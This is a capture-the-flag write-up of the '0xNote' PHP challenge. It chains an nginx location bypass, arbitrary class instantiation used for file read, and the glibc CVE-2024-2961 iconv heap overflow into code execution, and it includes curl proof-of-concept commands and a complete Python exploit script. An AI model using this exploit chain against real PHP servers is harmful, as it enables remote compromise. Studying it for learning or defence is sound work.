Challenge Overview
| Field | Value |
|---|---|
| Challenge Name | 0xNote |
| Category | Web Exploitation |
| Difficulty | Hard |
| Flag | 0xL4ugh{1think_y0u_l0ved_my_pHp_n0te_e1bfd312v_06f8495f4e909490} |
A PHP-based note-taking application with a "premium" color customization feature protected by nginx. The goal is to achieve Remote Code Execution and execute the SUID /readflag binary to retrieve the flag from /flag.txt.
Architecture
┌─────────────────────────────────────────────────────────────────────────┐
│ DOCKER ENVIRONMENT │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌───────────┐ ┌───────────────┐ ┌─────────────────┐ │
│ │ Client │ ──:80── │ Nginx │ ──:9000─│ PHP-FPM │ │
│ │ │ │ Proxy │ │ (PHP 8.3.2) │ │
│ └───────────┘ └───────────────┘ └─────────────────┘ │
│ │ │ │
│ nginx.conf: /var/www/html/: │
│ ┌─────────────┐ ┌─────────────────┐ │
│ │location = / │ │ index.php │ │
│ │ premium.php│ │ login.php │ │
│ │{ deny all; }│ │ premium.php │ │
│ └─────────────┘ │ views/ │ │
│ │ index.html │ │
│ └─────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ /flag.txt (0700, root:root) ──► /readflag (SUID binary) │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
Key Components
- Nginx Proxy: Reverse proxy with access control rules
- PHP-FPM 8.3.2: PHP FastCGI Process Manager with
cgi.fix_pathinfo=1 - glibc 2.36: Vulnerable to CVE-2024-2961
Vulnerability Analysis
Vulnerability 1: Nginx Location Bypass via PATH_INFO
File: proxy/nginx.conf
location = /premium.php {
deny all;
}
The Problem: The = modifier creates an exact match rule. It only blocks requests to exactly /premium.php.
The Bypass: PHP-FPM with cgi.fix_pathinfo=1 interprets /premium.php/anything as:
SCRIPT_FILENAME:/var/www/html/premium.phpPATH_INFO:/anything
GET /premium.php → 403 Forbidden (blocked by nginx)
GET /premium.php/x.php → 200 OK (nginx forwards to PHP-FPM)
Vulnerability 2: Arbitrary Class Instantiation (No Validation)
File: php-fpm/src/premium.php:14-20
<?php
// Lines 14-18: Only checks
if (
empty($_POST['color']) || is_array($_POST['color'])
) {
die("Color are required !");
}
// Line 20: DIRECT ASSIGNMENT - NO VALIDATION
$_SESSION['color'] = $_POST['color'];
Validation Analysis
| Check | Purpose | Bypassable? |
|---|---|---|
empty($_POST['color']) |
Must not be empty | No – just provide a value |
is_array($_POST['color']) |
Must be string | No – send string |
| Allowlist | NONE | N/A – doesn't exist |
The UI presents color chips (Black, Red, Green, Blue) via JavaScript, but this is purely cosmetic. The server accepts ANY string value.
Sink: php-fpm/src/views/index.html:207
<?= new $_SESSION["color"]($_SESSION["note"]) ?>
This line instantiates any class with the note content as the constructor argument:
$_SESSION["color"]= Class name (attacker-controlled)$_SESSION["note"]= Constructor argument (attacker-controlled)
Proof of Concept
# The server accepts ANY value for color - no allowlist exists
curl -X POST "http://target/premium.php/x.php" \
-b "PHPSESSID=xxx" \
-d "color=SplFileObject"
# Verify it was stored
curl -X POST "http://target/index.php" \
-b "PHPSESSID=xxx" \
-d "note=/etc/passwd"
# Trigger instantiation: new SplFileObject("/etc/passwd")
curl "http://target/index.php" -b "PHPSESSID=xxx"
# Returns contents of /etc/passwd
Vulnerability 3: Arbitrary File Read via SplFileObject
PHP's built-in SplFileObject class opens files in its constructor:
new SplFileObject("/etc/passwd"); // Opens file
new SplFileObject("php://filter/..."); // Supports stream wrappers
Combined with php://filter, we can read and encode any file:
new SplFileObject("php://filter/convert.base64-encode/resource=/etc/passwd")
Readable Files
| File | Purpose |
|---|---|
/etc/passwd |
Confirm file read |
/proc/self/maps |
Memory layout (heap, libc addresses) |
/usr/lib/x86_64-linux-gnu/libc.so.6 |
Libc binary for symbol resolution |
/flag.txt |
❌ Permission denied (0700 root:root) |
Vulnerability 4: CVE-2024-2961 (CNEXT) – iconv Heap Buffer Overflow
Affected: glibc < 2.39
Since we can't read the flag directly (root-owned, 0700), we need RCE. The file read primitive combined with PHP filters enables exploitation of CVE-2024-2961.
The Root Cause
The vulnerability exists in glibc's iconv() function when converting to the ISO-2022-CN-EXT charset. This charset uses escape sequences to switch between character sets:
ESC $ ) A → Switch to GB2312 (Chinese Simplified)
ESC $ ) G → Switch to CNS 11643 plane 1
ESC $ * H → Switch to CNS 11643 plane 2
When encoding certain characters, iconv() must output:
- An escape sequence to switch character sets (4 bytes)
- The encoded character itself (2 bytes)
The Bug: The internal buffer size calculation assumes a maximum of 2 output bytes per input character, but the escape sequence + character can require up to 8 bytes. The character 劄 (U+5284) triggers this case, causing a 1-4 byte heap buffer overflow.
// Simplified vulnerable code path in glibc
if (ch == 0x5284) { // 劄
// Needs: ESC $ * H (4 bytes) + encoded char (2 bytes) = 6 bytes
// But buffer only has 2 bytes remaining!
*outptr++ = ESC; *outptr++ = '$'; *outptr++ = '*'; *outptr++ = 'H';
*outptr++ = high_byte;
*outptr++ = low_byte; // OVERFLOW!
}
Why PHP is the Perfect Target
PHP's php://filter wrapper allows chaining arbitrary stream filters:
php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=data:,劄
This triggers iconv() in a context where:
- The heap is predictable – PHP uses
zend_mm, a custom allocator with deterministic chunk layouts - We control input size – Filter chains let us precisely control allocation sizes
- We can spray the heap – Multiple filter applications create controlled chunk patterns
- We can read memory – File read primitive leaks
/proc/self/mapsand libc
PHP Heap Internals
PHP's zend_mm allocator maintains freelists for different chunk sizes:
zend_mm_heap (at heap base + 0x40)
┌────────────────────────────────────────────────────────────┐
│ +0x000: size │
│ +0x008: peak │
│ +0x010: ... │
│ +0x020: free_slot[0] ────────────► First free 0x08 chunk │
│ +0x028: free_slot[1] ────────────► First free 0x10 chunk │
│ +0x030: free_slot[2] ────────────► First free 0x18 chunk │
│ ... │
│ +0x168: custom_heap._malloc ──► __libc_malloc │
│ +0x170: custom_heap._free ──► __libc_free │
│ +0x178: custom_heap._realloc ──► __libc_realloc │
│ +0x180: use_custom_heap ──► 0 (disabled) │
└────────────────────────────────────────────────────────────┘
When use_custom_heap = 1, PHP calls the function pointers instead of its internal allocator. The exploit overwrites:
custom_heap._free = __libc_system
use_custom_heap = 1
Now when PHP calls efree(chunk), it actually calls system(chunk_data).
The Exploitation Steps
┌─────────────────────────────────────────────────────────────────────────┐
│ EXPLOITATION CHAIN │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. HEAP SPRAY │
│ Allocate many 0x100-byte chunks to create predictable layout │
│ [chunk][chunk][chunk][chunk][chunk][chunk]... │
│ │
│ 2. CREATE HOLES │
│ Free specific chunks to populate freelist │
│ [chunk][FREE ][chunk][FREE ][chunk][FREE ]... │
│ ↓ ↓ ↓ │
│ free_slot[N] → hole1 → hole2 → hole3 → NULL │
│ │
│ 3. PLANT FAKE POINTER │
│ Place pointer to free_slot array in a chunk │
│ [chunk][FREE ][FAKE_PTR][FREE ][chunk]... │
│ ↓ │
│ &free_slot[0] - 0x10 │
│ │
│ 4. TRIGGER OVERFLOW │
│ iconv(劄) overwrites next chunk's freelist pointer │
│ [chunk][CORRUPTED ][...][...] │
│ ↓ │
│ free_slot[N] now points to our fake pointer │
│ │
│ 5. ALLOCATE TO ARBITRARY ADDRESS │
│ Next allocation returns &free_slot - unlinks fake pointer │
│ free_slot[N] now points to zend_mm_heap.free_slot[0]! │
│ │
│ 6. OVERWRITE CUSTOM_HEAP │
│ Allocation at free_slot lets us write to custom_heap structure │
│ custom_heap._free = &system │
│ use_custom_heap = 1 │
│ │
│ 7. TRIGGER SYSTEM() │
│ Any efree() now calls system() with chunk data as argument │
│ efree("(/readflag > /tmp/flag) &") → system("(/readflag...)&") │
│ │
└─────────────────────────────────────────────────────────────────────────┘
Prerequisites
| Requirement | Target Status |
|---|---|
| glibc version < 2.39 | ✅ glibc 2.36 |
| File read primitive | ✅ SplFileObject |
| php://filter wrappers | ✅ Enabled |
| zlib extension | ✅ Enabled |
| /proc/self/maps readable | ✅ Yes |
Exploitation
Step 1: Information Gathering
Read /proc/self/maps to get memory layout:
7ff42d200000-7ff42d400000 rw-p 00000000 00:00 0 [anon:zend_alloc]
7ff4301c8000-7ff4301eb000 r--p 00000000 08:20 525 /usr/lib/x86_64-linux-gnu/libc.so.6
Extracted:
- Heap address:
0x7ff42d200040(base + 0x40 for zend_mm_heap) - Libc base:
0x7ff4301c8000
Step 2: Download and Analyze Libc
Download libc via SplFileObject and find system() offset:
libc = ELF('/tmp/target_libc.so')
system_offset = libc.symbols['system'] # 0x4c490
Step 3: Execute Exploit
The exploit builds a php://filter chain that performs the heap manipulation:
php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.L1.L1|
dechunk|convert.iconv.L1.L1|dechunk|convert.iconv.L1.L1|dechunk|
convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|
convert.iconv.L1.L1/resource=data:text/plain;base64,<payload>
Each filter application allocates/frees chunks in a controlled pattern, with the ISO-2022-CN-EXT conversion triggering the overflow at the critical moment.
Step 4: Read Flag
Use the file read primitive to retrieve the flag:
curl -X POST "http://target/index.php" \
-d "note=/tmp/sess_flag1" \
-b "PHPSESSID=xxx"
Complete Exploit Code
#!/usr/bin/env python3
"""
CNEXT exploit for 0xNote CTF Challenge
Exploits: Nginx bypass + Arbitrary class instantiation + CVE-2024-2961
Author: Security Researcher
Target: 0xNote PHP Application
"""
import sys
import os
import base64 as b64module
import re
import zlib
import time
from pathlib import Path
from dataclasses import dataclass
import requests
from requests import Response, Session
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
context.log_level = 'info'
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8") # CVE-2024-2961 trigger character
# ============================================================================
# HELPER FUNCTIONS (from Ambionics CNEXT exploit)
# ============================================================================
def compress(data) -> bytes:
"""Returns data suitable for zlib.inflate (strip header/checksum)."""
return zlib.compress(data, 9)[2:-4]
def b64(data: bytes, misalign=True) -> bytes:
"""Base64 encode data."""
return b64module.b64encode(data)
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode."""
return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk containing pointers that survives all filter steps."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk."""
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"
@dataclass
class Region:
"""Represents a memory region from /proc/self/maps."""
start: int
stop: int
permissions: str
path: str
@property
def size(self) -> int:
return self.stop - self.start
# ============================================================================
# REMOTE CLASS - Handles communication with 0xNote application
# ============================================================================
class Remote:
"""Remote class for 0xNote class instantiation vulnerability."""
def __init__(self, url: str) -> None:
self.url = url.rstrip('/')
self.session = Session()
def set_session(self, session_id: str) -> None:
"""Set PHP session ID cookie."""
self.session.cookies.set('PHPSESSID', session_id)
def login(self, username: str = "test", password: str = "test") -> bool:
"""Log in to create a valid session."""
self.session.get(f"{self.url}/")
r = self.session.post(f"{self.url}/login.php", data={
"username": username,
"password": password
})
return "index.php" in r.url or r.status_code == 200
def send(self, path: str) -> Response:
"""Send a php://filter path via class instantiation."""
# Step 1: Bypass nginx and set class
self.session.post(
f"{self.url}/premium.php/x.php",
data={"color": "SplFileObject"}
)
# Step 2: Set note to filter path
self.session.post(
f"{self.url}/index.php",
data={"note": path}
)
# Step 3: Trigger instantiation
return self.session.get(f"{self.url}/index.php")
def download(self, path: str) -> bytes:
"""Download a file via base64-encoded filter chain."""
filter_path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(filter_path)
patterns = [
rb'id="noteContent"[^>]*>\s*([A-Za-z0-9+/=\s]+?)\s*</div>',
rb'note-content"[^>]*>\s*([A-Za-z0-9+/=\s]+?)\s*</div>',
]
for pattern in patterns:
match = re.search(pattern, response.content, re.DOTALL)
if match:
try:
b64_data = match.group(1).strip()
b64_data = re.sub(rb'\s+', b'', b64_data)
return b64module.b64decode(b64_data)
except Exception:
continue
return b""
# ============================================================================
# EXPLOIT CLASS - CVE-2024-2961 (CNEXT) Implementation
# ============================================================================
class Exploit:
"""CNEXT exploit for 0xNote."""
def __init__(self, url: str, session_id: str, command: str,
heap: int = None, pad: int = 20):
self.remote = Remote(url)
self.remote.set_session(session_id)
self.command = command
self.heap = heap
self.pad = pad
self.info = {}
def get_file(self, path: str) -> bytes:
"""Download a file from the target."""
log.info(f"Downloading {path}...")
return self.remote.download(path)
def get_regions(self) -> list:
"""Parse /proc/self/maps to get memory regions."""
maps = self.get_file("/proc/self/maps").decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.*)"
)
regions = []
for line in maps.strip().split('\n'):
if match := PATTERN.match(line):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4).strip()
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
regions.append(Region(start, stop, permissions, path))
log.info(f"Got {len(regions)} memory regions")
return regions
def find_main_heap(self, regions: list) -> int:
"""Find PHP's main heap address from memory regions."""
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE - 1) == 0
and region.path in ("", "[anon:zend_alloc]")
]
if not heaps:
log.error("Unable to find PHP's main heap in memory")
return None
first = heaps[0]
if len(heaps) > 1:
log.info(f"Potential heaps: {[hex(h) for h in heaps]} (using first)")
else:
log.info(f"Using {hex(first)} as heap")
return first
def get_symbols_and_addresses(self) -> bool:
"""Gather heap address and libc symbols."""
regions = self.get_regions()
self.info["heap"] = self.heap or self.find_main_heap(regions)
if not self.info["heap"]:
return False
libc_region = None
for region in regions:
if ("libc-" in region.path or "libc.so" in region.path) \
and region.permissions == "r--p":
libc_region = region
break
if not libc_region:
log.error("Unable to find libc")
return False
log.info(f"Libc at {hex(libc_region.start)}: {libc_region.path}")
LIBC_FILE = "/tmp/cnext_libc.so"
libc_data = self.get_file(libc_region.path)
Path(LIBC_FILE).write_bytes(libc_data)
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc_region.start
log.success(f"Heap: {hex(self.info['heap'])}")
log.success(f"Libc base: {hex(libc_region.start)}")
log.success(f"system() offset: {hex(self.info['libc'].symbols['system'])}")
return True
def build_exploit_path(self) -> str:
"""Build the php://filter chain that triggers CVE-2024-2961."""
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
# Pad chunks
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
# Step 1: Reverse freelist
step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
# Step 2: Place fake pointer
step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
# Step 3: Trigger overflow
step3_size = CS
step3 = b"\x00" * step3_size
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
# Step 4: Overwrite zend_mm_heap
step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
step4_pwn = ptr_bucket(
0x200000, 0, 0, 0, ADDR_CUSTOM_HEAP,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
ADDR_HEAP, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC,
size=0x18
)
step4_use_custom_heap_size = 0x140
COMMAND = f"({self.command}) &".encode() + b"\x00"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = qpe(COMMAND)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = "|".join([
"zlib.inflate", "zlib.inflate",
"dechunk", "convert.iconv.L1.L1",
"dechunk", "convert.iconv.L1.L1",
"dechunk", "convert.iconv.L1.L1",
"dechunk", "convert.iconv.UTF-8.ISO-2022-CN-EXT",
"convert.quoted-printable-decode", "convert.iconv.L1.L1",
])
return f"php://filter/read={filters}/resource={resource}"
def exploit(self) -> None:
"""Build and send the exploit payload."""
log.info("Building exploit payload...")
path = self.build_exploit_path()
log.info(f"Payload length: {len(path)}")
log.info("Triggering exploit...")
try:
response = self.remote.send(path)
log.info(f"Response status: {response.status_code}")
except (ConnectionError, ChunkedEncodingError) as e:
log.info(f"Connection error (expected): {e}")
log.success("Exploit sent!")
def run(self) -> bool:
"""Execute the full exploit chain."""
if not self.get_symbols_and_addresses():
return False
self.exploit()
return True
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url> [session_id] [command]")
sys.exit(1)
url = sys.argv[1]
session_id = sys.argv[2] if len(sys.argv) > 2 else None
command = sys.argv[3] if len(sys.argv) > 3 else "/readflag > /tmp/sess_flag"
log.info(f"Target: {url}")
log.info(f"Command: {command}")
exploit = Exploit(url, session_id if session_id else "dummy", command)
if not session_id:
log.info("No session ID provided, logging in...")
if exploit.remote.login():
log.success("Login successful")
else:
log.error("Login failed")
sys.exit(1)
exploit.run()
if __name__ == "__main__":
main()
Output Example
[*] Target: http://challenges4.ctf.sd:34441
[*] Command: /readflag > /tmp/sess_flag1
[*] No session ID provided, logging in...
[+] Login successful
[*] Downloading /proc/self/maps...
[*] Got 273 memory regions
[*] Using 0x7ff42d200040 as heap
[*] Libc at 0x7ff4301c8000: /usr/lib/x86_64-linux-gnu/libc.so.6
[*] Downloading /usr/lib/x86_64-linux-gnu/libc.so.6...
[+] Heap: 0x7ff42d200040
[+] Libc base: 0x7ff4301c8000
[+] system() offset: 0x7ff430214490
[*] Building exploit payload...
[*] Payload length: 1100
[*] Triggering exploit...
[*] Response status: 200
[+] Exploit sent!
Flag: 0xL4ugh{1think_y0u_l0ved_my_pHp_n0te_e1bfd312v_06f8495f4e909490}
Key Takeaways
- Nginx
location =is exact-match only – Use PATH_INFO to bypass - Always verify server-side validation – UI restrictions mean nothing without backend enforcement
- Arbitrary class instantiation → File read – SplFileObject with php://filter
- File read + glibc < 2.39 = RCE – CVE-2024-2961 turns LFI into full compromise
- PHP heap is deterministic – zend_mm's predictable layout enables reliable exploitation